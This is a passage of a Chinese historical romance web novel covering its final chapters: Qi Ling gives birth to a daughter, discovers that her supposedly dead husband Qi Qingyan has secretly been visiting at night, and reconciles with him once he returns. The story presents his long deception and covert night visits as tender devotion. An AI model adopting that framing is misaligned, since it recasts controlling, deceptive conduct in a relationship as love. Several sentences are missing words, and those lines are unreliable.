祁泠不知林照君怎么成了昭仪,只是冬奴是外姓人,又是男孩,没法留在宫里,被林既白养着,平日呆在冯夫人身边。 林照君道:“阿泠,安绥这些时日如何?下次你来时能否将他也带进宫中,我……有些想他了。” 冬奴有了名字,,名安绥。 祁泠安慰着她,“娘娘放心,约着五六日前,来府上,他同漪漪一起上书堂呢,两,我带着冬奴一起来。” 林照君才放下心,只是仍觉得太过亏欠冬奴,但她也想光复家族。 她抚着全然平坦的小腹,深深叹了一口气,“阿泠,我有孕了。等你生了孩子,常来陪我吧。” 祁泠惊讶后应是,想到建业又该掀起一轮风雨了。 两人说话时,银盘早坐下了,吃,里面果脯点心皆有,是林照君为她准备的,,林照君也没有。 转头看着腮帮子鼓鼓的银盘,林照君道:“银盘呀,你可曾想成婚?” 银盘懵掉了,林照君同祁泠解释,“秦都督的独子到了婚配的年纪,他似乎看中了银盘,只是秦夫人那里……我同陛下求求,提提银盘的身份,给两人赐个婚,也算美满。” 祁泠曾见过秦葭之,觉得那人没什么心眼,余夫人呢,倒也是好相处的婆母。 她近来没考虑银盘的婚事,总以为还是小丫头,林照君一提才反应过来,道:“我感觉也不错,问问银盘的意思。” “我不愿!”最先不乐意的是银盘,声音贼大,她道:“我要一直陪着娘子,谁也不嫁。” “这孩子。”林照君失笑,以为她口是心非,谁料银盘是真生气了,铁了心,要一直陪着祁泠。 走出殿,她扶着小腹明显隆起的祁泠,整张脸皱在一起,“娘子怕是不想要我了?不然,为何同娘娘一同劝我。娘子不要我,我自回姐姐那里去!” “好了好了。”银盘念叨的祁泠头都大了,耳边全是不愿意三个字,她只是觉得机会难得,对面是良婿。 再者,一直陪着她,什么时候是头呢,但心里暖暖的,攥紧银盘的手,压一压,先不提这回事。 漫长的宫墙,两侧宫殿楼阁高耸,宫墙一围,踏入此地居一日,再难有出宫之机。 金黄的轿辇从宫道尽头而来,银盘和祁泠都跪在侧面。 轿辇落下,已为皇帝的沈惊鸿下轿,他和从前没有什么分别,只不过白色衣袍角落暗绣了龙纹,方入秋,尚未冷,他便披上了裘衣,亲自上前,唤她:“弟妹。” 从远处看过去,宽大的襦裙罩着祁泠,离远看不出是有孕妇人,只觉格外清瘦。 沈惊鸿道:“苏家前日平反,弟妹可送信回去,寻寻可否还有苏家人。” “多谢陛下。”祁泠知晓苏家在淮陵,沈惊鸿怎会刻意为苏家平反,还不是因为祁清宴。 祁清宴…… 只要一想起这人,满心满腔都发酸发涩,她仍记得,两人见的最后一面,记得滴落血的温热、腥味。 日子一日过去一日,那些记忆毫不褪色,有时闯进梦里扰她。 “好好养胎。”沈惊鸿说罢,略转头,远眺望向宫中高塔。 高塔年初新建,有人站在栏杆边,素白的衣裳同他面色一般,凝望着下方身影,即使她的身影凝成小小一团,也不错眼地看着。 谢子青端着汤药走过来,到了边上,泛白的药气四散,他看清下面是谁,重重哼一声,问:“怎么不下去?” 看人未答,又阴阳怪气道:“我看你不在更好,听闻祁家事大多都是她做主,说一不二,恐怕她如今,不大想见到你。” “闭嘴吧。” 他冷冷道,端过汤药,一饮而尽,用绣着鸟雀和竹子的帕子按了发白的唇角,又收回袖中。 看着她一步又一步,走出宫门,坐上祁家马车。 …… 怀胎十月,有孕七个月时稳婆疾医乳母都选好了,大夫人一个一个亲自挑的人,又细细查了底细,生怕混进来个居心叵测的人。 这日,天一见亮鹅毛似的大雪往下洒,祁泠在大夫人屋里用早膳,吃了两口就肚子疼,破水了,急急忙忙地回了琅玕院。 大夫人和老夫人都在院内等着,老夫人见不得血腥,下人搬来软椅,老夫人坐在门口等着,给大夫人也备了椅子。 只是大夫人听着内里的痛呼声,来回踱步,实在受不得,让丫鬟掀帘,她进了屋去。 内里稳婆也急得满头大汗,约莫着孩子头有点大了,耗了一个半时辰都没生出来,喊着:“用力啊夫人,孩子就要出来了。” 大夫人看着孩子还没动静,抚着祁泠脑袋,“阿泠,别怕,憋几口气,再鼓着用力。” 疼得汗洇湿透了脑袋,祁泠眼睛都进了汗珠,看不清眼前,嘴里咬着帕子,手紧紧攥在被子边缘,模糊听进了大夫人的话。 他名字也被她咬着,重重咬着,恨不得嚼碎了咽下去,余下的力气力气呜咽着,泪混着汗,悄悄淌进鬓角里。 大夫人急得要冒烟了,在屋里也帮不上忙,去了一旁的隔间,朴正卿正在熬药,药童蹲着挥着竹扇。 大夫人看着更急了,问:“这还要多久能生啊?” “你也别急,你儿媳身体养的好,孩子和大人都没事,只是要耗上一阵儿。” 药童将熬好的药送过去,祁泠咽了几口,缓了缓,使着全部力气,听不见周围人的喊声,猛然身下一轻,人也昏了过去。 “娘子!” “没事,只是力竭晕了,等会儿就醒了。”有经验的稳婆安稳着银盘,将人从祁泠床榻间拉了起来。 稳婆抱着襁褓出来,大夫人跟在后面,粉蓝绸缎的襁褓裹着婴儿,皮肤还是皱巴巴粉粉的,稳婆抱到老夫人面前,喜道:“是位小娘子!” 老夫人听到是女孩,眼前几乎一黑,喃喃道:“阿质无后啊。” 大夫人从稳婆手里接过孩子,她自己生养两个,姿势熟练,拖着软乎乎的孩子,眼里闪出泪花,稀罕得什么似的不松手,不舍得放下,说着:“好,女孩也好……” 想起儿子起的名字,又是一阵儿伤心,念着:“祁灵妤,是我们小灵妤来了。” 祁泠做了一个梦。 梦见他们还在临川时,旁边谁人也不识他们,不必担忧被人发觉,只当做夫妻,若他不在,她独自在府上,会想着他何时能回来。 她期盼有人爱她,是偏爱,一整颗心都扑在她身上,不会有任何的纠结,只有她一人。 所以,在那些他无论何时出门,回来都要先见她,只要在府上一定会在她旁边,即使她说千百次分开,他也依旧从未有过放弃的念头时。 柔软的心如拨动琴弦,颤鸣不止,如风吹乱一汪池水,涟漪不歇。 眼角溢出泪水,梦中忆起来才更悲伤,恨透了他,为何算计她到这般地步。 朦胧间察觉有人抱起她,似从池水捞出浑身浸湿的她,扶着她的头,贴上去,轻轻唤着:“阿泠……” “阿媅……” 皆是在喊她。 祁泠醒过来时尚有些愣怔,身边只有银盘守着,见祁泠睁眼立刻喊人进来,大夫人抱着孩子来给她瞧。 祁泠瞧得认真,那么大的孩子,竟然是她生出来的。 大夫人笑着:“阿泠看那,这孩子鼻子嘴巴多像清宴,尤其是嘴巴,简直同他小时一模一样。” 小灵妤眼睛刚睁开又紧紧闭着,小鼻子小嘴的,祁泠没看出任何模样来,端详着也没发现哪里像她或者祁清宴。 可大夫人就说像,和祁清宴刚生出来时一样,祁泠便也笑了。 小灵妤又被老夫人叫小灵鱼,养在琅玕院,白日里被乳母抱去大夫人、老夫人院子里,尤其是大夫人,很喜欢小灵妤。 只是大夫人的好心情没维持太久。 陛下推行新政,不许士族将几千亩地拢在手里,此令一出,强压着各家分了地出去,开荒新地分给流民,助其安定。 又命各州郡守送来有学识或是德行甚好之人,由陛下亲自考核授官,动了士族为官的根基,好几家都心生不满。 慕容氏家主已经几次顶撞新帝。 大夫人满面愁容,祁泠带小灵妤的日子多了起来,每次去见大夫人,都听大夫人为难:“我劝兄长也不听,殊儿又被冷待,眼见着慕容氏成了陛下眼中钉,这如何是好?” 皇后无子,昭仪有身孕的信儿又从宫中传了出来。 若是儿子,皇后之位恐怕都要换人坐,一时朝中愈发紧张,各家都谨言慎行,只祁谢秦林四家安安静静,无论新帝推什么新政都遵着。 祁泠听说了,整个祁家最担忧此事的便是大夫人。 大夫人半个心惦记着娘家,无心管家,府上中馈落到祁泠手里,祁家又卖了不少地出去,进了一大笔银钱,她忙得不可开交。 不得已,只能白日管家,晚间熬夜看账,曾经落下的毛病又犯了,一看到难的帐便困,倒在账本上睡了过去。 醒来,天色漆黑如墨,身上多了件披风,她瞧着样式眼熟。 正巧,银盘抱着小灵妤进来,“娘子,我方才过去,见小娘子没睡就把她抱过来了。” “挺好。”祁泠一张手,小灵妤便张着肉嘟嘟的小手,扑到祁泠怀里,由着她抱。 这些时日小灵妤方会冒话,含糊着嘟囔着,想娘了软乎乎地倚在娘怀里,也不哭闹。 祁泠拽下披风,问:“银盘,这是从哪里拿的衣裳。” “娘子,我没进来啊。”银盘道:“我见娘子看得入神,就出去找青娥姐姐了。” 祁泠又问了院中几个小丫鬟都说没进屋来,毕竟祁清宴在时就立下规矩,不许旁人到书房里头去。人没了,余威仍在,这些人也不敢违背。 “算了,还能有鬼不成。” 祁泠抱着妤妤逗弄,也没仔细追究,只当是小丫鬟害怕被责罚才不认。 “爹。”小灵妤忽而开口,干脆地喊了一声。 祁泠抱着她,不知是谁教的,约莫着是大夫人和老夫人,她看着女儿稚嫩的小脸蛋,不知随了谁,寻常无事不哭也不闹,谁逗得开心了就笑两下,太安静了。 她捏着小灵妤的小手,认真道:“妤妤,喊娘,娘——” “爹。”小灵妤又喊了一声。 祁泠道:“爹没了,喊娘。” 小灵妤眨巴眨巴黑亮的眼睛,随后小手抓起祁泠衣襟,憨憨地笑了起来。祁泠失笑,俯身贴着软乎乎小脸,“什么都不懂呢。我们小灵鱼,妤妤。” 八月,又是一年新秋,早间传闻昭仪昨夜产子,圣上又没上早朝,扣了臣子在宫中。 消息一传出来便闹得人心惶惶。 祁泠方从大夫人院里出来,便见到来寻她的贡嘉,他急道:“夫人,慕容氏撺掇随州都督,连带着建业唐家孟家一同反了,叛军打过来,建业也出了叛军,咱们府上也要守着些。” 祁泠初听也慌,但很快稳了心神,祁家如今没有能做主的人,她命人先别告诉大夫人,府上侍卫守着门,又派人去冯夫人那里接人过来。 等到午后,冯夫人一家来了,她安顿了人,大夫人也听到信了,防着她担心,祁泠让把小灵妤抱过去给大夫人看着。 晚间府外一片火光,院门被重重砸着,祁泠守在大夫人院前都能听见,外面响起厮杀声,她强忍着怕,守着大夫人和老夫人。 天色彻底暗时,贡嘉来回话:“夫人,幸好小门那侧人多,挡了来抄家的叛军。” 祁泠听完觉出一点不对,小门护卫多?她去安抚老夫人,又去劝了大夫人,夜深时才回屋,银盘吓得胆寒要同祁泠一起睡,祁泠问:“妤妤呢?” 青娥道:“方从大夫人处抱回来,乳母喂饱了,带回去,奴婢看过小娘子睡熟了。” 既睡下了也好,她一去,这孩子耳朵好使听到她去又要醒了,闹到后半夜不知何时能睡。 祁泠躺了一会儿,又觉得不放心,怕小灵妤今日被抱来抱去的被吓到,起身去看,没看到青娥焦急的面色。 待她到了琅玕院为了小灵妤新改出来的小院,进里,见内室门尚且开着一条缝,妤妤手里拿着木雕镂空的精致小球,正专心啃着,咿呀咿呀地很是开心。 乳母候在边上,擦了把汗笑着:“夫人来了,小娘子方醒,正玩着呢。” “嗯。”祁泠走去,摸着妤妤的小手,妤妤满脸口水,抬头盯着祁泠,小嘴巴一张,突然冒出来一声,“爹。” 十分清脆,将手中木球塞给祁泠。 祁泠愣住,这是她第二次听见小灵妤喊爹,她会说话,只是她逗许久才能听见一声娘。 还有这小木球,她从未在小灵妤这里见到过,她抱起小灵妤,正想着,风吹拂过,闻到灵妤身上味道,除了一贯的奶香,还混着几丝药味。 她转头问乳母,“方才是谁来了?” 乳母低着头,眼神四处飘,看看小灵妤又盯着地上,嘴硬着:“无人啊,是奴婢一直带着小娘子玩。” “你方才还说妤妤刚醒。”祁泠冷脸撂下一句话。乳母怎能用汤药,会害了吃奶的孩子,大夫人一直严看着乳母伺候的奴婢,抱小灵妤的定不是她。 乳母听到便知不好,少夫人一向是个好说话的人,平日里不常同人闲话,但也没有动气的时候。可她没得吩咐,也说不了实话,嗫喏着说不出一个字。 “青娥跟着,银盘你看着妤妤。”祁泠将小灵妤塞到银盘怀里,转身便走。 小灵妤由银盘抱着,稀罕拿着木玩具,眨巴眼睛盯着祁泠走远的背影,懵懵的,不知道人怎么一个接着一个走了,都不抱她了。 出府的门只有几个,来往的正门人多眼杂又有门房一直守着,做不到无声无息地来去,侧门离大房的院子近,侍从的院子在那处,晚间起夜的人也会发觉。 如今人少些的,就是连着先前二房的小宅子有园子,那处也有门。 二房如今人口疏落,只一个祁雪峤也不常回来。 祁泠心跳的飞快,几乎从嗓子眼蹦出来,不敢相信内心浮起的猜测,可又太像了。 她提起裙子,脚下步子迈得极快,青娥在侧不敢多说,只跟着快走,心里替郎君捏了一把汗。夫人怕是发觉了,不然方才看她的眼神怎么也冷冷的,还将银盘留下,只带上了她。 前方院子栅栏旁有影子,少年瘦高,祁泠喊:“沉弦!” “啊……夫人。”沉弦转身给祁泠问安,他守在这里,看着祁泠的眼神一如既往的心虚,和从前做错事一般无二。 祁泠二话不说从他旁边过,嗓子发紧,喘气时胸腔发疼也忍着,发髻散了也不管,提起一口气接着往前拼命跑,这辈子都没跑过着这般快。 三分的猜测变成了七分。 沉弦这些时日没了影子,总见不到人,青娥也怪怪的,总是劝她自己睡,不必看顾小灵妤。 而且,她晚间睡熟了,总觉身旁有人在,掀起来的被子一早醒来好端端压在身上,令她一度疑心闹鬼了。 裙摆被风吹得蹁跹,穿过假山,望见小门的阶梯,有人正外外走。 月影疏落,落在瘦高的身上,时值秋日,分别已有一载余四月,甚至比他们相处的时日都久些,但她还是一眼就认出来。 祁泠两手抖着垂落身侧,几乎站不住,声音颤着,撕心裂肺地喊出三字—— “祁清宴!” 第76章(正文完) 第76章 第七十六章【VIP】 当看清阶下之人,素白的衣衫飘荡着,玉簪束发,因长久居于室内,不见日光脸色变成病态的苍白。 五官瘦削,棱角分明,唯一与从前一般的只有那双黑眸,只是其中所含情绪比从前淡了些,没有那般果断决然。 果然是祁清宴。 真真切切见到了人,祁泠还有什么不明白的,左不过是他没死,一直欺瞒众人而已。 没死是好,可祁泠眼中泪如断了线的珠子似的,接着悄声砸到衣襟上,紧咬着唇压住欲要倾泻而出的情绪,她死死攥着袖头,才控制住颤抖的手。 看清是祁清宴的下一瞬,看着他张开,分明是要说什么的唇,祁泠胸腔剧烈起伏,尚未平复过来呼吸,但转身便走。 “阿泠!”祁清宴抬步追上去。 方才的情形反过来,他走到假山处就追上了人。可无论他怎么喊,祁泠都没有一点要回头的意思。 情急之下,他攥住她手腕,方一入手就察觉到纤细的骨,她也瘦了。 祁泠回头,冷声同他道:“你松开!” 她回过神便与他推搡,使尽全部力气推他,到底将他推开了。 祁泠缓了缓,随后仰头看他,眸中含泪但又咬牙克制着不流出来,艰难道:“我一直当你死了……过去这么久,你没死,却从未告诉我,回琅玕院看过多少次妤妤?竟一直瞒着我……” “你又骗我。”她抬袖囫囵擦了下泪,头也没回地走了。 祁清宴立在原地,月光扯出瘦瘦长长的影子,看着她走远,盈了太久的思念变成酸涩的苦,嘴里满是苦味。 “郎君,夫人只是太伤心了。其实……郎君不该瞒着夫人。”青娥忍不住开口道。 她几月前才从沉弦嘴里听见,私下见过郎君,不知郎君为何要假死。之后怕沉弦露馅,让他离琅玕院远些。 知晓了若无意外,郎君隔日会回府。 乳母早被收买了,或者一开始就是这边的人,郎君哄睡了小娘子,再去陪夫人,在榻边静坐小半夜,天亮时分再离去。 这几月皆是如此。 “……你照顾好她,我再过几日便回府了。”祁清宴嘱咐着青娥。 他也有怯懦、失算之时,想过千万种周全相见的法子,却一时贪心,等着她睡熟,被她发觉。 祁泠回屋,倒在榻里,埋在枕头上忍不住哭,她知晓,他没死是件好事。 但她一想到他又一次骗她,而且一骗便是这么久,就又似从前那般恨他。 要是她没见到,他一直避着她么? 银盘从侧院回来,看祁泠侧躺着,头朝里蒙着被,以为祁泠困了,小声禀道:“娘子,小妤妤睡了,只是睡前要人抱,任谁抱她都不对,小妤妤撇着嘴但没哭,最后委委屈屈地睡了。” 小孩子有乳母和侍奉的人陪着,也不用惦记,祁泠嗯一声,接着躺着。 思绪太乱,一宿没睡好,翌日头晕着去了前头。 大夫人心不在焉地看着小灵妤,小灵妤起得比祁泠还早,精神也比祁泠好得多,也不闹祖母,自已在榻上爬来爬去抓东西玩。 见祁泠也蔫蔫的,大夫人抬眼看她一眼,问:“怎么了?” 大夫人面容憔悴,因着慕容家的事太过忧虑,祁泠想起,祁清宴不光瞒着她,老夫人和大夫人也不知道。 大概只琅玕院几个侍从知晓、还有灵妤,见到过亲爹。 她一时不知怎么和大夫人说,只含糊着摇头,说着没睡好。 大夫人被糊弄过去,也没起疑心,只是连连叹气,“我一个妇道人家,只能惦记着,不知宫中到底怎么样了。” 这祁泠更不清楚了。 祁清宴定然清楚,可一想起他,祁泠又沉默了。 悄无声息过了两日,消息从皇城传出,慕容氏被抄家。主谋果真是慕容家主连带着两个儿子,在慕容府上密室,寻到废帝妃子和一双子女。 主谋赐死,新帝仁慈没灭族,慕容府男丁流放北关,女眷贬为平民。 只废后慕容殊被封为郡主,许她再嫁。 大夫人听后便晕了过去。 老夫人自从结亲后就不喜慕容家,但岳家又是同为士族大家的慕容氏倒了,不免叹息慕容家自掘坟墓。 三日后,祁府热闹起来。 彼时祁泠正在大夫人床榻边侍疾,自打慕容家出了事,大夫人一病不起,吃不下去东西,短短几日瘦了一大圈。 祁清宴“死”后,祁,整日相*处,祁泠又心软,大夫人在她生小灵妤后,没像老夫人那般唉声叹气,也将小灵妤当成宝,慢。 极乱,侍从飞跑着过来,一路大喊:“大夫人,少夫人,三郎君回来了!” “再说一遍!”大夫人从床榻帐帘中惊坐起,命来传话的侍从进来说话。 这侍从正是瑞蔼堂的,脸上挂满笑,忙着道郎君,三郎君他没死,回来了!” 室内沉静几瞬,旋即大夫人喊了一声,“阿,“快,快梳妆,我们去看看。” 大夫人太欣喜,转头见祁泠没什么表情,只以为她是吓傻了,就连经了多少事的自已听后都发懵,又何况是祁泠? 她躺了太久没力气,由祁泠扶着去了瑞霭堂。 老夫人爽朗的笑声从堂内传出,听荷迎着两人进去,也是一脸喜色,还连连为两人道喜。 祁家虽暂有祁泠做主,可家中没有在朝受重用的小辈,总有将落败之感。这回便好了,祁家未来的家主,家中的主心骨回来了。 祁清宴坐在官帽椅上,就在老夫人身边,老夫人一抬眼,看见这婆媳都来了,忙挥手,“快过来!” 大夫人不用人喊,仔仔细细地瞧过,见是祁清宴,眼泪刷地落下来。母子之间再大的隔阂,经了这一遭也没了,扑过去喊着:“清宴我儿!这些时日,你去哪了啊!?” 祁清宴扶起大夫人:“母亲,我被人救下,侥幸活下来。” “阿质,我们阿质,大难不死必有后福。”老夫人拿着帕子拭泪,又哭又笑的。 待祖孙、母子叙过话,老夫人又掀起眼帘看着坐在一边,垂眸的祁泠,她也和大夫人一样以为这孩子是高兴傻了,招手,“阿泠,快过来。” 祁清宴直直望着她,堂内其余人也想起祁泠,最高兴的该是她才是。 众目睽睽之下,祁泠只好起身过去,老夫人捡起她垂落身侧的手,同祁清宴的手叠放一起,祁清宴顺势用掌心拢住她的手。 老夫人看得老泪纵横,“好好好,都全全乎乎的在一起,一家和睦,我这把老骨头,纵是立刻死了也甘愿。” “母亲说的什么话,清宴回来了,好日子还在后头呢。”大夫人劝着。 祁泠想要拿回手,祁清宴不松,她的手被炽热的掌心包裹着,挣了一下,挣不脱。 她又顾忌着老夫人和大夫人,不能弄出动静,只坐着,憋屈的由他越牵越紧。 “小灵鱼呢?听荷,赶紧派人将孩子抱来,让阿质瞧瞧。” 老夫人许久精神头都没这么好过了,转头又同祁清宴道:“阿质啊,你不在家时,我和你母亲做主娶了阿泠过门。阿泠为你生了女儿。” 祁清宴笑着:“祖母和母亲英明。” 小灵妤由青娥抱进屋,冷不防见到这么多人,她也不怕,黑亮似曜石的眸子挨个看着人,看了一圈,盯准了祁泠,咿咿呀呀地伸出手去。 祁泠借着这由头扯回手,抱起女儿。 小灵妤趴在祁泠肩头,眨眨眼睛,看见祁清宴,又伸出手要他抱。 老夫人见此欣慰极了,“我们小灵鱼聪慧,到底是血脉相连,见她爹也不怕。对了听荷,赶紧将信传出去,告诉其他人,后日都回府来团圆一番。” 老夫人留人在瑞霭堂热闹着,直到用了晚膳,才依依不舍地放了祁清宴和祁泠走,走前还嘱咐着明早要来瑞霭堂同她一起用膳。 回琅玕院的路上,祁清宴抱着小灵妤在后,祁泠在前快步走着,身旁跟着银盘,银盘时不时回头觑一眼,一脸见鬼了的表情。 银盘揪揪祁泠袖子,悄悄到她耳边,颤着音儿,“娘子,三郎君真的回来了?不会是鬼吧,都过去两年了……” 她越说越怕,怕的说不出话了。祁泠点点她脑瓜,“别胡思乱想,罚你这阵子不许看话本,想什么呢。” 银盘还是不放心,直到想起了法子,回头在地上看到祁清宴有影子才罢休。 秋日天长,祁泠在屋内坐着,银盘和青娥陪在一旁。祁清宴回来便去了侧院,看着小灵妤。 这孩子白日在瑞霭堂暖阁睡了一个时辰,又吃了奶,现下精神得厉害,要人陪着她玩。 琅玕院灯火葳蕤,祁清宴回到卧房。 这里原来冷清,只他一人,不久居于此,东西也少。如今到处都是她的物件,添了八宝架子、梳妆台、许多衣箱,燃着暖香,他的居所终于也变成了她的。 可祁清宴一进来,坐在美人榻上的祁泠立刻起身,“我去侧院。” 祁清宴在离她极远的门口,烛火的光晕只照到他下颌,她看不清他的神情,隐隐约约见到瘦削的轮廓,从他干涩的唇发出的声音沙哑,语气极淡,又轻,轻得她似乎听不见:“阿泠,你是怨我么?” 祁泠侧站着,沉默不语,她做不到如老夫人和大夫人那般欢欢喜喜地迎他回来,他离开时两人还闹了一场,没说清楚。 待他回来,又添了新的隔阂。 时至今日,她不能怨他。 毕竟,其中也有她的选择,一步又一步。若她当初不想着与卢肇月退婚,认命嫁过去,就不会同他扯上关系。 若在退婚后,她恪守规矩,离他远些,便不会再有牵扯。 若得知被利用后,不故意远着他。 若是当初如他所愿,和家中坦白,家中长辈包括祖母会告诉他们是兄妹,即使是误会,一切也会停在那时,不会有后来至今日的纠缠。 祁清宴唤她:“阿泠,我与你解释,我也想回来同你一起,看灵妤长大。只是那时回来被人知晓,反而会害了你们母女,不如不回。” 何事都由他说了算。 恨他强势凉薄,也恨她自已,一步接着一步,走到今日。 “别说了。”祁泠干脆道:“比起怨你,我更怨我自已,一次又一次被你愚弄。”语毕,她毫不留恋地去了侧院,只留祁清宴留在满是她味道的卧房。 翌日一早,祁府迎了贵客。 微服出宫的新帝沈惊鸿先去见过姑祖母老夫人,老夫人又哭得不行,多年未见,也是同一姓氏的血脉相连的亲人。 祁清宴则被大夫人唤去,大夫人从儿子没死的欣喜中缓过神来,又想起了胞兄和子侄,将儿子喊过去商议有无办法相救。 母子两关上门,只留了大夫人最亲近的仆妇在身旁,说了什么外人无从知晓。 只是祁清宴走后,大夫人神情灰败,擦了泪,此后再未提慕容家的事。 祁泠独在琅玕院。 未曾想沈惊鸿来了,她行礼后,他道:“弟妹,我想同你说几句话。”说完又忍不住咳嗽起来,好一阵儿才止住。 祁府庭院的凉亭中,侍从守在远处,连银盘也在远处踮着脚瞧着亭中,能看见人影但听不见说话声。 “我年幼重病一场,伤了身,朴老前日言,我最多还能熬五载。” 沈惊鸿看着惊到失声的祁泠,微微一笑,只是配上苍凉的面色,怎么看怎么虚脱,他道:“我起初被慕容家养在偏僻的院子里,他们怕楚氏不听话,暗中留了沈家血脉,不大管我,平日任我自生自灭。有一日,我烧得浑浑噩噩,又饿,饿得在院子里找吃的。那时遇见清宴,他比我还小,他也饿。” “那时我平衡不少,看呐,不光是我受苛待,慕容家的表亲也饿着。他为我寻了慕容府上的医者,每日呆在一起,后来,他突然说要帮我,我以为他在玩笑,他却当真了,十余年未曾变过。” “……他是迫着慕容家反了楚徇,慕容家早视我为弃子,怎会支持?只他手里有慕容氏私铸兵器藏下前朝血脉的铁证,送到楚徇案前,慕容家才不得不反了,可也恨上了他。 只要他再出现在祁家,两家必定闹翻,他们不会善罢甘休。” 祁泠差不多理顺了,这便是他说的会害她和小灵妤的缘故么? 她问:“他何时回建业?” 沈惊鸿沉默一阵儿,才道:“我寻到他,是一年前。他托人送密信进谢府,派人去接他时,他在一猎户家中,腿受了伤,不良于行。我问过他意思,他不愿回来,便在宫中养伤。他自能走,便隔日回祁府。” 不言语的成了祁泠,该说的都说了,沈惊鸿同她告辞,走出亭子一段,才回身道:“劳烦弟妹,以后常进宫,陪陪照君。” 他为必死之人,只能陪林照君走一小程,余下的路要她自已走。 祁泠回到琅玕院,坐在窗边,直到黄昏日落时分,祁清宴方从瑞霭堂处回来。 她未再躲他,直接问:“你到底为何不回来,为何要让我独自留在这里?” 祁清宴道:“阿泠,因为那时我不在,你会过得更好。我于你没有任何用处,也不能为你做什么,反倒是累赘。” “当我迫着舅父拥立徊梁时,已被视为慕容氏的叛徒。他们知晓你与我亲近,恐会害你,如废帝那般。” 在他回来之前,祁泠听过沈惊鸿的话,猜他是怕连累祁家,连累她才不回来。 但她终究没彻底弄清他的想法。 “我不要你对我有用,也不要你为我做什么——” 压抑太久的情绪宣泄而出,泪汹涌地涌出来,她抬袖也擦不干净,声音哽咽,含着太多委屈,“祁清宴,你到底将我看作什么?为何这么想我,对我没用又能怎么样?难道你于我有用,我便喜爱你、嫁你,于我无用,我就远着你么!?” “不是,阿泠,不是这样。”祁清宴上前将她揽在怀里,紧紧抱着,“是我的错,别哭了。”他黑眸也带上几分泪光,只是隐没在眼角,不明显。 只是习惯了。 厌恶旁人利用他,可在亲近之人面前,会控制不住地想,他能为她做什么? 从前认为她在他身边最好,嫁去旁人府上总会受苦,那些人也配不上她,不如在他身边。故而使尽法子也要留她,哪怕她不情愿。 当他没法护着她周全,反倒会成为拖累时,便不想出现在她面前。 即使内心深处知道,她不会在乎。 可他还是做不到。 “我只是不想让你算计我……你为何要想那么多,我于你而言是什么?想要了必须得到,不想要就不要、随意丢弃一旁的物件么?” 祁泠不停抽噎着,他掌心按着她脊背,缓缓道:“是妻,吾妻阿泠。只是我不愿与你共苦。我睁眼,发觉自已没死,最开始的念头是回来、回来见你,但砸伤了腿,不知自已还能不能走,怕我回来……你便不嫁了,索性先瞒着。直到后来想清了,又觉得,还是先不回去的好。” “我错了,阿泠。” 他说着错,却没有甚么悔意,如从前强硬将她留在身边,知晓自已有错,但改不了那般。 于他而言,爱便是筹算。 祁泠当然听明白了,仍呜咽着,不知怎么那般倒霉被他缠上了!躲也躲不过,逃也逃不了。反抗的力气却弱了。 他将她抱上榻,额头相抵,手落在她腰上,轻轻安抚着,什么也不做,只是呼吸交缠,轻声细语哄着,相拥而眠。 一如从前许许多多的夜晚。 祁泠哭得太累,渐有了困意,靠在他脖颈处睡熟,头发被剪去一缕也不觉。 祁清宴动作很轻,生怕吵醒了她,又剪下一股他的发尾,两股发缠在一起,用红绳系好,放在锦盒中,小心翼翼摆在枕边。 他重新上榻,环抱着祁泠,温香软玉在怀,才填了心中的空缺。善察人心如他,怎会没注意到祁泠对他瞬间的柔软。 来日方长,总归会彻底重归于好。 他在心间,一遍又一遍默念。 祁氏清宴,祁家阿泠,结为夫妻,生同衾死同穴,再不分离。 次日天色尚早,云层灰灰叠叠,方露出一抹鱼肚白,卧房的门被青娥叩响,“郎君,夫人,小娘子寻人呢。” 青娥也是实在没招了,否则不会去喊,小灵妤精神头太好,天方亮一点就醒了。 乳母喂过奶,吃饱喝足的小灵妤含含糊糊混着喊了一大阵爹娘,任凭哪个乳母来抱也不行,只是咿呀咿呀不停地喊。 青娥没办法,只好来喊人。 床帐间弥漫着馨然暖气,祁泠睁眼,他散乱的前襟,再抬头,祁清宴正望着她。她一时怔忪。 祁清宴拥着她起身,祁泠想起昨日,一把推开他,整理整理衣襟,喊人进来盥洗。 待两人收拾好了去侧院,祁泠抱了一阵儿小灵妤,累了便递给祁清宴,小灵妤也不哭,乖乖地让亲爹抱着出门,小嘴一抿还乐起来。 祁泠看得一清二楚,只是一想小灵妤都认识爹了,还和他这般好,心底又钻出一股子气来,眼眶都悬着泪珠子,连侍奉小灵妤的人都知晓,偏她不知。 若是没有孩子,他还会悄悄回府么? 祁清宴抱着小灵妤,敏锐察觉到祁泠情绪,道:“我喜爱灵妤,因她是我血脉,更因是你所生。而爱你,只因你是阿泠。” 祁泠被他这番话说的懵了,一时愣着没想到怎么反驳。 趁她没想明白,祁清宴一手抱着小灵妤,挪出一只手去牵她。 祁泠望着那只手,没拒绝,由着他牵,去见赶来的二房三房,赴团圆宴。 曦光升起透过薄雾洒在两人身上,新的一日白色天光遍布,温柔又眷恋。 (正文完)